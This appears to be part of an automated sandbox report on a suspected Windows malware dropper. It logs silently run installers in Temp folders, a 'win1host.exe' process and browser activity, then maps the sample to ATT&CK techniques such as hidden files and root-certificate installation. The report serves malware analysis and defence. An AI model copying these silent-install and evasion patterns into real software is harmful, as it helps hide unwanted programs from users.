C:\Users\Admin\AppData\Local\Temp\is-F48VR.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-F48VR.tmp\vict.tmp" /SL5="$1070C,870426,780800,C:\Users\Admin\AppData\Local\Temp\r0qt0z1igc2\vict.exe" /VERYSILENT /id=5351⤵PID:8888
-
C:\Users\Admin\AppData\Local\Temp\is-BJCO0.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-BJCO0.tmp\win1host.exe" 5352⤵PID:6344
-
-
C:\Users\Admin\AppData\Local\Temp\is-99NVF.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-99NVF.tmp\Setup3310.tmp" /SL5="$10700,138429,56832,C:\Users\Admin\AppData\Local\Temp\agw4ttpx3sk\Setup3310.exe" /Verysilent /subid=5771⤵PID:8832
-
C:\Users\Admin\AppData\Local\Temp\is-QTC4A.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-QTC4A.tmp\Setup.exe" /Verysilent2⤵PID:4712
-
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:8400
-
C:\Windows\explorer.exeC:\Windows\explorer.exe1⤵PID:8924
-
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe1⤵PID:9020
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca1⤵PID:8972
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:8716
-
C:\Windows\system32\browser_broker.exeC:\Windows\system32\browser_broker.exe -Embedding1⤵PID:6224
-
C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca1⤵PID:8116
-
C:\Windows\system32\werfault.exewerfault.exe /h /shared Global\a4baa119b71e497dbf5068305102ab8f /t 0 /p 81161⤵PID:6860
Network
MITRE ATT&CK Enterprise v6
Defense Evasion
Hidden Files and Directories
1Install Root Certificate
1Modify Registry
3Web Service
1